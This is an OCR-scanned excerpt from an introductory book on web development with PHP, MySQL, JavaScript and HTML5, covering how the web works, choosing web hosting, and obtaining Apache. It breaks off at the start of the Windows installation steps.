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Introduction

A Ithough web development has changed over the years, the actual core
details of creating a web page have stayed the same. You create a doc-
ument and put it out on the web for people to view. Of course, to put some-
thing on the web you need to learn the special languages that are spoken

on the web. No, we’re not talking about OMG, BRB, and all the other cryptic
shorthand to communicate. We're talking about the languages that are used
to create web documents and sites.

This book looks at many aspects of web development, including the lan-
guage used to make web pages and ways to make web pages look good,
make web pages accept information from visitors, and create programs to
create other web pages! If that seems like a lot of information, don’t worry.
It’s all broken up into manageable pieces so that you can consume the infor-
mation at your own pace.

About This Book

This book is intended as both a reference and, in certain places, a tutorial.
Most of the information in the book doesn’t need to be read in a certain
order. However, certain areas build on each other and, if you find that
you're stuck in one of the later chapters, you might find that reading an
earlier chapter will reveal the information that you need.

Foolish Assumptions

To be successful with this book, you should have a computer with a recent
version of Windows, Mac OS X, or Linux on it. You don’t need to know any-
thing about programming or creating web pages but you should be com-
fortable with moving around on the computer. Words like files, directories
or folders, editor, browsers, and other such terms should be familiar to you.
You should also be familiar with installing software on whatever operating
system you’re using.
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How This Book Is Organized

How This Book Is Organized

This book is divided into seven minibooks, with several chapters in each
minibook. The content in the book ranges from HTML to CSS to JavaScript to
PHP to MySQL and many points in between.

Book I: Getting Started with PHP and MySQL

Book I looks at the technologies involved in sending a web page over the
Internet. More specifically, in Book I, you learn how to install software to
send web pages, how to install PHP to program web pages, and how to set
up MySQL to provide data.

Book 1I: HTML and CSS

In Book II, you learn about the two primary languages of the web, HTML and
CSS. You learn how to create a web page with HTML and then style it to look
a bit nicer with CSS.

Book 111: JavaScript

Book Il is all about JavaScript, which you learn has really nothing to do with
Java at all. You can use JavaScript to enhance your web pages even further.

Book 1U-PHP

PHP is discussed in Book IV. You see how to use PHP to create dynamic web
pages behind the scenes.

Book U: MySOL

Many websites use a database to provide information. In Book V, you'll learn
about MySQL, a powerful and free database system that you can use with PHP.

Book VI: Web Applications

Book VI puts all that information from the previous five books to good use to
create web services, validate web forms, and set up a members-only website.

Book VII: PHP and Templates

Book VII wraps up the book with some additional configuration options for
PHP and also shows how to build a templating system using PHP. With a tem-
plating system, you can have PHP do a lot of the repetitive tasks of creating
multiple pages, and you see how to create one in the last chapter of Book VII.
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Companion Website

We put most of the code examples presented in this book on the Dummies.
com website so you don’t have to type out long code blocks. Point your
browser to www.dummies.com/go/code/phpmysqgljavascripthtml5aio
to download the code samples.

Icons Used in This Book
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We use some basic icons throughout this book to help you quickly scan and
find useful information and tips.

Tips provide information for a specific purpose. Tips can save you time and
effort, so they’re worth checking out.

This icon is a sticky note of sorts, highlighting information that’s worth
committing to memory.

You should always read warnings. They emphasize actions that you must
take or must avoid to prevent dire consequences.

This icon flags information and techniques that are extra geeky. The informa-
tion here can be interesting and helpful, but you don’t need to understand it
to use the information in the book.

Where to Go from Here

Begin the process of web development at the beginning, Book I, Chapter 1.
Before you know it, you’ll be programming complex and nice-looking
websites.

Occasionally, we have updates to our technology books. If this book does
have technical updates, they’ll be posted at www . dummies.com/go/
phpmysgljavascripthtml5aioupdates.


http://www.dummies.com/go/code/phpmysqljavascripthtml5aio
http://www.dummies.com/go/phpmysqljavascripthtml5aioupdates
http://www.dummies.com/go/phpmysqljavascripthtml5aioupdates
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Chapter 1: Understanding
the Languages of the Web

In This Chapter

+ Understanding how the web works

v+ Discovering the language of web browsers

v+ Defining the language of web servers

+* Choosing how you want to develop for the web

v+ Preparing your computer for web development

A s we explain programming for the web to you, it’s helpful for all of us
to speak the same language, at least when it comes to the subject at
hand. Knowing how the web works, at least at a high level, will pay divi-
dends when you start creating sites that will work on it. Granted, you don’t
need to know how a car works before driving, but knowing how the steering
wheel, throttle, and brakes all relate to make the vehicle move is especially
important to keep you from hitting things. So consider what you're about to
read as driver’s education for web programming. The difference is that at
the end you don’t have to buy insurance!

In this chapter, we define some basic web terminology, tell you about the
languages you will use to create web pages, help you understand hosting
options, and give you an idea of where to get started when you’re setting up
your computer.

Understanding How the Web Works

The World Wide Web consists of a large group of computers, known as
servers, that exist solely to provide information when that information is
requested. The information is requested by a piece of computer software
called a web browser. If you're here, you’ve almost certainly used the web
countless times already, maybe even to order this book.

It is said that the web operates on a client-server model, where the client

is the web browser and the server is the computer providing, or serving,
the information. That information is typically stored in a web page, which

is nothing more than a specially formatted document that usually contains
images and frequently references to other resources that help the page look
and behave in a certain way.
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Understanding How the Web Works

The web browser

When a client requests a web page, a web browser such as Microsoft
Internet Explorer or Mozilla Firefox (or Safari or Google Chrome or Opera or
Lynx) is used. The web page itself can be a document stored on your com-
puter, just like a word processing document. A program like Microsoft Word
knows how to open documents formatted for Microsoft Word. In the same
way, a web browser knows how to open documents formatted for the web.
More on this later.

Web browsers are programmed to read and parse the specially formatted
documents known as web pages.

The web browser knows not only how to open and parse documents format-
ted for the web, but also how to contact other computers to request docu-
ments from them. For example, when you type http://www.braingia.org into
the address bar of your browser, the browser knows how to translate that
request into the resulting page that you end up seeing in front of you.

The web server

When a web browser requests a page, it typically contacts a web server. Just
as the web browser is software that’s programmed to know how to read and
parse web pages, the web server is software that’s programmed to send web
pages when they’re requested.

Several popular web server software packages are available, but two

stand out above the rest: Apache httpd and Microsoft Internet Information
Services (IIS). Between the two of them, these server software packages are
responsible for hosting the vast majority of all web domains.

Web servers and web browsers talk to each other using a protocol called
HyperText Transfer Protocol, or HTTP. In essence, HTTP is just a way for
these two parties to speak to each other.

Think of it as being like the protocol involved in making a telephone call.
When you make a telephone call, you dial some digits. (This is like the web
browser using the IP address to contact the web server.) The individual
who answers the call is expected to say “Hello” or something similar. As a
response, you're expected to say “Hello” or “What’s Shakin’” or some other
appropriate greeting so that you both know the conversation is underway.

This is all that HTTP or any other Internet protocol does: It defines how and
when each party involved in the conversation should act. One major differ-
ence between HTTP and a telephone conversation is that HTTP is said to
be stateless. This is a fancy way to say that HTTP doesn’t remember what
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it’s doing from one request to the next. When you request a web page, the

web server has no way of knowing that you just requested that same page 3
seconds ago and it won’t know if you request the same page 3 seconds from

now. This is important when you start programming web applications that

need to remember things from one screen to the next — and you’ll see how

easy it is to solve the problem.

Lest you think you mistakenly bought Internet For Dummies, let’s focus this

discussion back toward web programming. Before doing so, here’s a sum-

mary of where you are so far:

4+ A web browser is special software that knows how to open and interpret
web pages. Web browsers also know how to contact web servers to get

information.

4+ The web operates on a client-server model.

4+ A web server is special software that knows how to respond to requests

for web pages.

4+ Web servers and web browsers speak HTTP to each other and do so
using host names, domain names, and IP addresses.

Domain names and IP addresses

Every website needs a unique address on the
web. The unique address used by computers
to locate a website is the Internet Protocol (IP)
address. The most commonly used version of
the IP is version 4 (IPv4), but version 6 (IPv6)
is becoming more popular. In version 4, an IP
address is a series of four numbers between
0 and 255, separated by dots (for example,
172.17.204.20r192.168.2.33).

Because IP addresses are made up of num-
bers and dots, they aren’t easy to remember.
Fortunately, there’s a translation service called
the Domain Name System (DNS) that provides
translation services between IP addresses and
friendly host names that are easier to remember.

On the web, you typically see “www" followed
by a dot followed by a domain name, as in www .
braingia.org. Inthat address, the www is

called a subdomain and the braingia.org partis
called the domain name. Technically, the .org
partis called a Top-Level Domain or TLD.

When you browse to a site such as www.
braingia.org, a DNS server which is
known to your computer asks “What's the IP
address of www . braingia.org?” The DNS
server then looks up the address for www .
braingia.org and sends it back to your
computer so that you can contact the server
responsible for www.braingia.org.

Each domain name must be unique.
Consequently, a system of registering domain
names ensures that no two locations use the
same domain name. For the most part (and bar-
ring legalities), anyone can register any domain
name as long as the name isn't already taken.

Book |
Chapter 1
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So far you've seen that the web is made up of web servers and web brows-
ers. Web servers are the computers that host the web pages, videos, images,
and other content that you view on the web. The browsers are what you use
to view that content. Browsers like Internet Explorer and Safari run on your
computer.

Mobile phones use browsers too. The iPhone uses a version of Safari while
Android-based phones use a proprietary browser or sometimes another
browser like a mobile version of Google Chrome or Firefox.

Web browsers and servers talk to each other using a language, or proto-
col, known as HTTP. Just as browsers and servers talk to each other using
their own special language, web pages themselves have their own special
languages. This section looks at the three primary web page languages:
HyperText Markup Language (HTML), Cascading Style Sheets (CSS), and
JavaScript.

Matrking up with HTML

Web pages are documents, much like the document that you’d create in a
word processor like Microsoft Word. To read a word processor document
you use software like Microsoft Word, which knows how to open, read, and
parse documents formatted or laid out in a certain way so that the various
headings, spacing, and other elements of that document appear as intended.

Here’s an example: We're writing this book in Microsoft Word. Each of the
headings has a certain format while the main text has a different format. A new
paragraph is created every time one of your humble book authors presses
Enter. Microsoft Word knows how to open this document and interpret those
headings, paragraphs, and other elements, so if we send it to you and you

also have Microsoft Word, you can open and see the document in the same
way that we do. Behind the scenes, hidden formatting elements tell Microsoft
Word how to format or layout and display the text you see on the page.

HyperText Markup Language (HTML) provides the behind-the-scenes for-
matting and layout information for web pages. In much the same way as
the behind-the-scenes formatting of a Word document tells Microsoft Word
how to display that document, HTML tells the web browser how to display
a web page.

HTML marks up, or adds hidden information to, the text and other things
that you put on a web page. This hidden information is responsible for the
layout of the page. For example, you can use HTML to indicate that specific
text is a paragraph or a heading, and yet more HTML to indicate an image.
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Just as there are rules for formatting a book such as this (for example, any Book |
level 2 headings appear below the primary, level 1 headings), so too are web Chapter 1
pages formatted in a special way. Ideally, web pages follow certain rules

such as smaller headings appearing within larger ones, and so on.
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<MBER When HTML on a web page is formatted correctly, with headings and other ::.: 5 3
elements appearing in the proper order, the web page is said to be valid %é =

and have what’s called semantic markup. Semantic markup is a term used to s 2

describe a web page that correctly uses the HTML formatting elements in oFe

the right places. There’s much more on this in Book II, Chapter 1.

Later in the book, you discover how to make the web browser understand
formatting to create headings, paragraphs, insert images, and more, all
with HTML.

Styling pages with CSS

HTML informs the browser how text and other pieces of content on a page
are laid out. Cascading Style Sheets (CSS), on the other hand, is used to
change that layout to add stylistic or appearance-related information to the
page. CSS is frequently used to change colors, fonts, text size, and other
appearance-related items.

For example, when you create a paragraph of text with HTML it’s up to the
browser to choose the font. By adding CSS font information, you can tell the
browser which font, or more appropriately, a family of fonts, to choose from
in order to display the text. Ultimately it’s still up to the browser to choose
which font to use or even to ignore your CSS completely and display its own
choice.

CSS is also used to change the overall appearance of the page itself. For
example, CSS can be used to create multi-column layouts, headings on
pages, footers, and other display-oriented elements to make the page visu-
ally appealing and more usable.

Book II, Chapter 2, covers more about CSS, including its rules and usage.

Changing behaviors with JavaScript

HTML is used to provide layout information and CSS is used to change the
appearance of that layout. What does JavaScript do? JavaScript provides
the behavior or actions behind the interactivity that you see on web pages.
For example, when you click a button on a web page, chances are there’s a
JavaScript program running behind the scenes in order to make the button
do something like change a color or move text around on a page.
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Understanding the Language of Web Servers

If you've ever used a site like Google’s Mail (Gmail) then you've seen a site
with heavy JavaScript integration. One misconception about JavaScript is
that it’'s somehow related to Java: It isn’t. Java and JavaScript are two com-
pletely separate languages.

Don’t confuse JavaScript with Java; they're completely different languages
that do completely different things.

Book Il examines JavaScript in great detail.

Understanding the Language of Web Servers

So far in this chapter, you’'ve read about web page languages HTML, CSS, and
JavaScript. These languages deal with the look and feel (HTML and CSS) and
behavior (JavaScript) of the web page. Many web pages are merely saved
documents that exist on a web server, but some are dynamically built, with
real-time information retrieved as you request it.

When pages are built dynamically, on-the-fly, a program is running on the
web server to build that page. These programs are called server-side pro-
grams. Just as JavaScript programs tell the browser how to behave, server-
side programs tell the web page what elements and layout it will have; in
other words, the HTML, CSS, and JavaScript are all added by the server’s
program.

The program that runs on the server is written in yet another language,
aside from the HTML, CSS, and JavaScript that you've already seen. Server-
side programs for the web can be written in one (or more) of a number of
languages. These include Microsoft’s .Net family of languages, Perl, Python,
Java, and the one that this book concentrates on: PHP.

Of course, in order for the page to be seen by the user it needs to be sent
there. Sending the page to the user is the web server, which in our case will
be Apache. And many sites utilize databases to store information. That’s
where MySQL comes in. As you’ll see, MySQL provides a great (and free)
way to store data for your website.

Building dynamic web applications
with PHP and MySQOL

PHP, short for PHP HyperText Preprocessor, is a popular and powerful
language used for programming server-side programs. When PHP builds
web pages it frequently needs to retrieve data to display on the resulting
page. This is where MySQL comes in. MySQL is a popular and free database
system that can store information and then integrate with PHP to create a
fully functional web application.
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PHP and MySQL are a popular pair for building dynamic web applications.
PHP is a scripting language designed specifically for use on the web, with
features that make web design and programming easier. MySQL is a fast,
easy-to-use RDBMS (Relational Database Management System) used on many
websites. MySQL and PHP as a pair have several advantages:

4+ They’re free. It’s hard to beat free for cost-effectiveness.

4+ They’re web oriented. Both were designed specifically for use on web-
sites. Both have a set of features focused on building dynamic websites.

<+

They’re easy to use. Both were designed to get a website up quickly.

4+ They’re fast. Both were designed with speed as a major goal. Together
they provide one of the fastest ways to deliver dynamic web pages
to users.

4+ They communicate well with one another. PHP has built-in features
for communicating with MySQL. You don’t need to know the technical
details; just leave it to PHP.

4+ A wide base of support is available for both. Both have large user
bases. Because they’re often used as a pair, they often have the same
user base. Many people are available to help, including people on e-mail
discussion lists who have experience using MySQL and PHP together.

4+ They’re customizable. Both are open source, thus allowing program-
mers to modify the PHP and MySQL software to fit their own specific
environments.

Sending the page to the browser with Apache

PHP and MySQL don’t operate all alone; they need a web server in order to
actually respond to requests for web pages. A web server is special software
that runs on a computer. The most widely used web server on the Internet
is httpd from Apache, but most people just refer to it as “Apache” and so we
do the same here. Like PHP and MySQL, Apache is free.

When a person uses his or her browser to request a page, that request is
received by the web server, Apache. Apache then looks to see if it knows
about the resource (the web page) being requested. If Apache knows about
the web page and is able to send it, then Apache responds to the request by
sending the page to the requestor.

In the case of pages created with PHP, Apache uses special software to inter-
pret the PHP prior to sending the page back to the requestor.

Apache offers the following advantages:

4+ It’s free. What else do we need to say?

4 It runs on a variety of operating systems. Apache runs on Windows,
Linux, Mac OS, FreeBSD, and most varieties of Unix.

Book |
Chapter 1
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4+ It’s popular. Approximately 60 percent of websites on the Internet
use Apache, according to surveys at http: //news.netcraft.com/
archives/web_server_survey.html and www.securityspace.
com/s_survey/data. This wouldn’t be true if it didn’t work well. Also,
this means that a large group of users can provide help.

4+ It’s reliable. When Apache is up and running, it should run as long as
your computer runs. Emergency problems with Apache are rare.

4+ It’s customizable. The open source license allows programmers to
modify the Apache software, adding or modifying modules as needed to
fit their own environment.

4+ It’s secure. You can find free software that runs with Apache to make it
into an SSL (Secure Sockets Layer) server. Security is an essential issue
if you're using the site for e-commerce.

Choosing How You Want to Develop

3

When developing applications for the web, specifically applications that
encompass both the browser-related technologies (HTML, CSS, and JavaScript)
and the server technologies (PHP and MySQL), you have several choices
for development and ultimately for placing the site up so that others can
get to it.

For development of the HTML, CSS, and JavaScript, you use your own com-
puter or a computer provided to you for this purpose. We cover this aspect
in short order. For now, think about the type of web development you intend
to do as you read these next sections.

Choosing a host for your website

You can set up a computer in your office or basement to be the web server
(sometimes called the web host) for your website. You need to be pretty
technically savvy to do this. The Internet connection you use to access the
World Wide Web is unlikely to provide sufficient resources to allow users to
access your computer. You probably need a faster connection that provides
domain name system (DNS) service. You need a different type of Internet
connection, probably at an increase in cost. This book doesn’t provide the
information you need to run your own web host.

If you already have the technical know-how to set up a host machine,

you can probably install the web software from information in this book.
However, if you don’t understand Internet connections and DNS sufficiently
to connect to the Internet, you need to research this information elsewhere,
such as a system administration book or a networking book for your operat-
ing system.
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Most people don’t host their websites on their own computers. Most people
upload their websites to a web host provided by someone else. However,
it’s quite common to run a web server on your computer for your own use
during development. Doing so has the advantage of isolating the develop-
ment from the production, or publicly viewable website. In other words, if
you make changes to files on your computer, you can thoroughly test those
changes before making them publicly available just in case there are prob-
lems with the files.

When you’re ready to make the site available publicly, you then enlist the
help of someone to host the site. Web hosting is often provided by one of
the following:

4+ The website owner: Perhaps you're creating a website for a company,
either as an employee or a contractor. The company — usually the
company’s IT (Information Technology) department — installs and
administers the website software.

4+ A web-hosting company: You can park your website on a web-hosting
company’s computer. The web-hosting company installs and maintains
the website software and provides space on its computer, usually for a
fee, where you can upload the web page files for your website.

In the coming sections, we describe these environments in more detail and
how to install your website in the environments. We also explain how you
gain access to PHP and MySQL.

Hosting for a company website

When a website is run by a company, you don’t need to understand the
installation and administration of the website software at all. The company
or website owner is responsible for the operation of the website. In most
cases, the website already exists, and your job is to add to, modify, or rede-
sign the existing website. In a few cases, the company might be installing
its first website, and your job is to design the website. In either case, your
responsibility is to write and install the web page files for the website. You
aren’t responsible for the operation of the website.

You access the website software through the company’s IT department. The
name of this department can vary in different companies, but its function is
the same: It keeps the company’s computers running and up to date.

If PHP or MySQL or both aren’t available on the company’s website, IT
needs to install them and make them available to you. PHP and MySQL have
many options, but IT might not understand the best options — and might
have options set in ways that aren’t well suited for your purposes. If you
need PHP or MySQL options changed, you need to request that IT make the
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change; you won’t be able to make the change yourself. For instance, PHP
must be installed with MySQL support enabled, so if PHP isn’t communicat-
ing correctly with MySQL, IT might have to reinstall PHP with MySQL sup-
port enabled.

égN\BEI? You'll interact with the IT folks frequently as needs arise. For example,

& you might need options changed, you might need information to help you
interpret an error message, or you might need to report a problem with the
website software. So a good relationship with the IT folks will make your life
much easier. Bring them tasty cookies and doughnuts often.

Choosing a web-hosting company

A web-hosting company provides everything that you need to put up a web-
site, including the computer space and all the website software. You just
create the files for your web pages and move them to a location specified by
the web-hosting company.

About a gazillion companies offer web-hosting services. Most charge a
monthly fee (often quite small), and some are even free. (Most, but not all,
of the free ones require you to display advertising.) Usually, the monthly fee
varies depending on the resources provided for your website. For instance,
a website with 100MB of disk space for your web page files costs less than a
website with 200MB of disk space.

When looking for a web-hosting company for your website, make sure that it
offers the following:

4+ PHP and MySQL: Not all companies provide these tools. You might
have to pay more for a site with access to PHP and MySQL; sometimes
you have to pay an additional fee for MySQL databases.

4+ A recent version of PHP: Sometimes the PHP versions offered aren’t the
most recent versions. Take the time to find a web-hosting company that
offers at least PHP 5.3, if not PHP 6 if it is available. Some web-hosting
companies offer PHP 4 but have PHP 5 (or 6) available for customers
who request it.

Other considerations when choosing a web-hosting company are

4+ Reliability: You need a web-hosting company that you can depend on —
one that won'’t go broke and disappear tomorrow and that isn’t running
on old computers that are held together by chewing gum and baling
wire. If the company has more downtime than uptime, save yourself a
headache and look elsewhere. Take a look at Web Hosting Talk at www .
webhostingtalk.com or Netcraft at www.netcraft.net for informa-
tion on reliable providers.
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4+ Speed: Web pages that download slowly are a problem because users

will get impatient and go elsewhere. Slow pages might be a result of a
web-hosting company that started its business on a shoestring and has
a shortage of good equipment, or the company might be so successful
that its equipment is overwhelmed by new customers. Either way, web-
hosting companies that deliver web pages too slowly are unacceptable.
Netcraft (www.netcraft.net) regularly posts a survey of the fastest
hosting providers.

Technical support: Some web-hosting companies have no one available to
answer questions or troubleshoot problems. Technical support is often
provided only through e-mail, which can be acceptable if the response
time is short. Sometimes you can test the quality of the company’s
support by calling the tech support number, or you can test the e-mail
response time by sending an e-mail.

Backups: Backups are copies of your web page files and your database
that are stored in case your database or files are lost or damaged. You
want to be sure that the company makes regular, frequent backup
copies of your application. You also want to know how long it would
take for backups to be put in place to restore your website to working
order after a problem.

Additionally, you should always make sure to take regular backups of
your own data. It’s your data; you should be responsible for it. That way,
if the web-hosting provider goes away unexpectedly you can take your
latest backup and move to a new hosting provider.

Features: Select features based on the purpose of your website. Usually
a hosting company bundles features together into plans — more fea-
tures equal a higher cost. Some features to consider are

e Disk space: How many MB or GB of disk space will your website
require? Media files, such as graphics or music files, can be quite large.

¢ Data transfer: Some hosting companies charge you for sending web
pages to users. If you expect to have a lot of traffic on your website,
this cost should be a consideration.

e [E'mail addresses: Many hosting companies provide a number of e-mail
addresses for your website. For instance, if your website is example.
com, you could allow users to send you e-mail at me@example. com.

e Software: Hosting companies offer access to a variety of software for
web development. PHP and MySQL are the software that we discuss
in this book. Some hosting companies might offer other databases,
and some might offer other development tools such as FrontPage
extensions, shopping cart software, and credit card validation.

o Statistics: Often you can get statistics regarding your web traffic, such
as the number of users, time of access, access by web page, and so on.
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With most web-hosting companies, you have no control over your web envi-
ronment. The web-hosting company provides the environment that works
best for it — probably setting up the environment for ease of maintenance,
low cost, and minimal customer defections. Most of your environment is set
by the company, and you can’t change it. You can only beg the company to
change it. The company will be reluctant to change a working setup, fearing
that a change could cause problems for the company’s system or for other
customers.

It’s pretty difficult to research web-hosting companies from a standing

start — a Google.com search for “web hosting” results in almost 400 million
hits. The best way to research web-hosting companies is to ask for recom-
mendations from people who have experience with those companies. People
who have used a hosting company can warn you if the service is slow or

the computers are down often. After you gather a few names of web-hosting
companies from satisfied customers, you can narrow the list to find the one
that’s best suited to your purposes and the most cost effective.

Using a hosted website

When you use an environment with a hosted website, such as the environ-
ments discussed in this section, for the world to see the web pages, the web
page files must be in a specific location on the computer. The web server
that delivers the web pages to the world expects to find the web page files in
a specific directory. The web host staff or IT department should provide you
with access to the directory where the web page files need to be installed.
To use the web software tools and build your dynamic website, you need the
following information from the web host:

4+ The location of web pages: You need to know where to put the files for
the web pages. The web-host staff needs to provide you with the name
and location of the directory where the files should be installed. Also,
you need to know how to install the files — copy them, FTP (file trans-
fer protocol) them, or use other methods. You might need a user ID
and password to install the files. This information will almost certainly
be included in a welcome e-mail with the company and available as a
Frequently Asked Question (FAQ) page on its website.

4 The default filename: When users point their browsers at a URL, a file
is sent to them. The web server is set up to send a file with a specific
name when the URL points to a directory. The file that is automatically
sent is the default file. Very often the default file is named index.htm or
index.html, but sometimes other names are used, such as default.
htm. You need to know what you should name your default file.

4+ A MySQL account: Access to MySQL databases is controlled through a
system of account names and passwords. The organization providing
the web host sets up a MySQL account for you that has the appropriate
permissions and also gives you the MySQL account name and password.



Setting Up Your Local Computer for Development 19

4+ The location of the MySQL databases: MySQL databases need not be Book |
located on the same computer as the website. If the MySQL databases Chapter 1
are located on a computer other than that of the website, you need to
know the hostname (for example, thor . example.com) where the

databases can be found. ° % g
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4+ The PHP file extension: When PHP is installed, the web server is = § 7}
instructed to expect PHP statements in files with specific extensions. Sc g
Frequently, the extensions used are .php or .phtml, but other exten- %g E‘
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sions can be used. PHP statements in files that don’t have the correct
extension won'’t be processed. Find out what extension to use for your
PHP programs.

Setting Up Your Local Computer for Development

To use your local computer to develop your website, you must install a web
server, PHP, and MySQL. PHP and MySQL are free to download and use; the

web server Apache is free as well, although you might opt to pay for a differ-
ent web server that might better fit your needs.

In the following sections, we give you some basic information about
approaching these installations, and then in the following chapters we
describe in more detail how to complete these tasks.

Installing the web server

Assuming that you have a computer with an operating system (such as
Windows, Mac OS X, or Linux) already installed, you next need to install

a web server. Your first step is deciding which web server to install. The
answer is almost always Apache. Here are some things to consider, depend-
ing on which operating system you're using:

4+ Windows: Apache provides an installer for Windows that installs and
configures Apache for you.

4+ Linux: Apache is sometimes automatically installed when you install
certain Linux distributions.

4+ Mac: All recent Macs come with Apache installed. However, you might
need to install a newer version of Apache.

The Apache website (http://httpd.apache.org) provides information,
software downloads, extensive documentation that is improving all the time,
and installation instructions for various operating systems.

Other web servers are available; however, we focus almost exclusively on
Apache in this book. Microsoft offers /IS (Internet Information Server), which
is the second most popular web server on the Internet and nginx is also
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available and a popular option as well. Other web servers are available, but
they have even smaller user bases.

Installing PHP

You might or might not need to install PHP.

4+ Windows: PHP isn’t installed on Windows computers.

4+ Linux or Mac: PHP is often already installed in Linux or the Mac OS.
Sometimes it’s installed but not activated.

After installing PHP, you need to configure your web server to process PHP
code. Instructions for installing PHP and configuring your web server are
provided in this minibook.

Installing MySOL

You might or might not need to install MySQL. Consider which operating
system you're using and the following information:

4+ Windows: MySQL isn’t provided with the Windows operating system.

4+ Linux or Mac: Along with PHP, MySQL is often already installed on
Linux or Mac. Sometimes it is installed, but not activated. However, the
installed version might be an older version, in which case you should
install a newer version.

As you might suspect, installation varies depending on which operating
system you're using. You install and configure MySQL on Windows by using
a Setup and a Configuration Wizard. A PKG file is available for installing
MySQL on Mac OS X, and packages are available with every popular Linux
distribution.



Chapter 2: Installing a Web Server

In This Chapter

v Testing for a web server

1 Obtaining Apache

v~ Installing Apache on Windows, Linux, and Mac
v+~ Using Apache

1 Configuring Apache

ou might have the idea that this chapter is all about the web server

Apache. Well, you're right. In this chapter, you download and install
Apache. If you'll be using a hosted website or a company website and plac-
ing your files on someone else’s server, then you don’t need to install a web
server at all.

The chapter focuses on httpd from Apache because it’s free and the most
popular web server used on the Internet. Other web servers are available.
Microsoft has Internet Information Services (IIS) and also includes a devel-
opment web server with its Visual Studio development application. Another
popular web server is called nginx. Apache and its wide support across dif-
ferent types of computers is so popular that we focus solely on Apache in
this book.

Windows doesn’t come with Apache installed. You must install it yourself.
Most Linux distributions include Apache or have it easily available through
their package management software. All recent versions of Mac OS X come
with Apache already installed. However, you might want to install Apache
yourself for a newer version or to install with different options.

This chapter guides you in finding out if Apache is already installed on your
computer; finding, downloading, and installing the software; starting and
stopping Apache; getting information about the installation; and configuring
Apache so that it behaves as you need it to.

Testing Your Web Server

You can test whether a web server is installed on your computer by viewing a
web page in your browser. Open your browser and type http://localhost in the
browser address bar. If your web server is installed and running, a web page
displays. For instance, the Apache Welcome screen displays the following text:
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If you can see this, it means that the installation of the
Apache web server software on this system was successful. You
may now add content to this directory and replace this page.

You can’t test your web server by choosing File=>Open or Open File in your
browser. This method of viewing a web page file doesn’t go through the web
server. You must type the URL into your browser’s address bar to test the
server.

If no web server is running on your machine, an error message is displayed,
such as one of the following:

Unable to connect
The page cannot be displayed

Even if you have no web server running, a web server might be installed on
your computer but not started. If so, you need only start the web server. For
instance, Apache is installed on all recent Mac computers, but it might need
to be started. See the instructions for obtaining and installing Apache later
in this chapter.

Obtaining Apache

Apache is an open source web server that you can download for free. The
sections that follow give you the preliminary info you need — based on the
operating system you’re using — to decide how to begin selection and instal-
lation of your web server software. Be aware, also, that an all-in-one instal-
lation kit might work for your purposes. We provide information on that
option as well in this section.

Selecting a version of Apache

Apache is currently available in three versions: Apache 2.0, Apache 2.2, and
Apache 2.4. All versions are supported and upgraded. The PHP software
runs with all three versions, but some other software related to PHP might
have problems with Apache 2.4. On Windows, Apache 2.4 is currently not
available.

Like any software, Apache evolves as new versions come out. Some third-
party modules might not work correctly on all three versions. Because PHP
is a module, you should check the web page for the current status of PHP
with Apache versions at

www .php.net/manual/en/install.windows.apache?2.php


http://www.php.net/manual/en/install.windows.apache2.php

“NG'

Obtaining Apache 2 3

Try to install the most current release of the Apache version you choose so
that your Apache server includes all the latest security and bug fixes.

Downloading from the Apache website

Apache for all operating systems is available on the official Apache web-
site. You can download source code to compile on your operating system.
Compiling and installing source code isn’t difficult on Linux and Mac, but it
requires expert knowledge and software on Windows.

Binary files — compiled, ready-to-run files that just need to be copied to the
correct location — are available for Windows.

To obtain Apache from the Apache website, go to http://httpd.apache.
org. Scroll down to the section for the Apache version you want to down-
load click the appropriate link for the version you want to download. A
download page with links to download the current versions displays.

Obtaining Apache for Windows

The Windows binary file is available with an installer, which will install,
configure, and start Apache. On the Apache website download page, find the
section for the Apache version you want. Click the link for the Win32 Binary
(MSI Installer) to download the installer file.

Although Win32 source code is also available to download in a Zip file,
compiling and installing Apache from source code is difficult and should be
attempted only by advanced users. It requires advanced knowledge and spe-
cial software.

Obtaining Apache for Linux

Most recent versions of Linux include Apache. If you need to install Apache
or upgrade to a more recent version, most Linux distributions provide soft-
ware either on their website that you can download or through their pack-
age management software that will install on your specific Linux system. In
addition, most Linux systems provide a utility specifically for downloading
and installing software. For instance, Fedora provides the yum utility that
downloads and installs software from the Fedora website. See the documen-
tation for your Linux distribution for information on how to download and
install software on your Linux system.

In a few cases, you might need to install Apache manually. The software
provided by the website might not be the most recent or might not be con-
figured to your needs. To install manually, you need to download the source
code from the Apache website at http://httpd.apache.org.
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You can easily compile and install Apache from the source code. This pro-
cess isn’t as technical and daunting as it sounds. Instructions for installing
Apache from source code are provided in the “Installing Apache from source
code on Linux or Mac” section, later in this chapter.

Obtaining Apache for Mac

Apache comes already installed on most recent versions of Mac OS X. If you
test Apache by typing http://localhost in your browser address window and
it doesn’t display a web page, it’s probably installed but not started. To find
out how to start Apache, see the section “Installing Apache on a Mac,” later
in this chapter.

If you need to install Apache because it isn’t installed or an old version is
installed, download the source files from the Apache website to compile and
install on your Mac. Instructions for installing Apache from the source code
are provided in the “Installing Apache from source code on Linux and Mac”
section, later in this chapter.

Obtaining all-in-one installation kits

You can obtain some kits that contain and install PHP, MySQL, and Apache
in one procedure. These kits can greatly simplify the installation process.
However, the software provided might not include the features and exten-
sions that you need.

XAMPP is a popular all-in-one installation kit that contains Apache, PHP, and
MySQL. XAMPP has stable versions available for Windows and for several
versions of Linux. XAMPP is available at www . apachefriends.org/en/
xampp . html. Instructions for installing your software using XAMPP are
provided in Chapter 5 in this minibook.

WAMPServer is a popular installation kit for Windows that provides recent
versions of Apache, PHP, and MySQL. It also installs phpMyAdmin, a
utility for managing your MySQL databases. WAMPServer is available at
wWww.wampserver. com/en.

MAMP is an installation kit for Mac that installs Apache, PHP, and MySQL for
Mac OS X. This free package installs a local server environment on your Mac.
You can obtain MAMP at www.mamp . info.

Verifying a downloaded file

The Apache website provides methods to verify the software after you
download it, as a security precaution to make sure that the file hasn’t been
altered by bad guys. You can use the MD5 method or the PGP method for
verifying the file. This book provides instructions for the MD5 method.
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Basically, the same process is used to verify the file for PHP, MySQL, and Book |
Apache. You can find instructions for verifying the downloaded file in Chapter 2
Chapter 3 of this minibook. On the Apache website, click the MD5 link to see

the MD5 signature discussed in the instructions.

Installing Apache

The following subsections describe installing Apache on Windows, Mac,
and Linux.
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Installing Apache on Windows

You can install Apache on almost any version of Windows.

You can’t install Apache with the following directions if Internet Information
Services (IIS) is already running on port 80. If IIS is running, you will find the
IIS console at Start=>Control Panel=>Administrative Tools=>Internet Services
Manager. If you don’t find this menu item, IIS isn’t installed. If IIS is already
running, you must shut it down before installing Apache or install Apache on
a different port.

To install Apache after you're sure that IIS isn’t running, follow these steps:

1. Double-click the file you downloaded.

